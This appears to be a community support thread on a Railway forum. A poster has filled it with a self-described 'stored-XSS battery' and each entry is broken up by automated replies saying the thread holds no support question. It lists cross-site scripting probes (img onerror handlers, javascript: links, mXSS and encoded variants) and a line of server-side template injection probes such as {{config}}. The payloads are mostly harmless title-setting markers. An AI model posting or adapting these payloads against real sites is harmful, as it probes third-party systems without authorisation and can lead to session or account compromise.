This thread doesn't contain a support question. If you have a question about Railway, feel free to open a new thread with the details and we can help.

Q24 stored-XSS battery (harmless markers, author-owned test content).

raw img:

raw svg:

raw script: document.title='Q24_script'

js link: click1

img attr break:

html a js: click2

data uri: click3

iframe:

mXSS: <img src=1 onerror=document.title='Q24_mxss'">">

script breakout: document.title='Q24_break'

details ontoggle:

encoded: <img src=x onerror=document.title='Q24_ent'>

code fence should be inert:

<img src=x onerror="document.title='Q24_fence'">

This thread doesn't contain a support question. If you have a question about Railway, feel free to open a new thread with the details and we'll be happy to help.

SSTI {{77}} ${77} <%= 77 %> #{77} @(7*7) {{config}}

This thread still doesn't contain a Railway support question. If you have a question about our platform, feel free to open a new thread with the details.

Q24 attachment filename sink

This thread doesn't contain a Railway support question. If you have a question about our platform, feel free to open a new thread with the details.

Falsify battery:

comment:

entity-href: e1

autolink: javascript:document.title='Q24_f3'

case-js: e2

proto-rel: e3

mdlink-paren: e4

angle-html: <a href=javascript:document.title='Q24_f6'>e5

svg-xlink: x

object:

embed:

This thread doesn't contain a Railway support question. If you have a question about our platform, feel free to open a new thread with the details.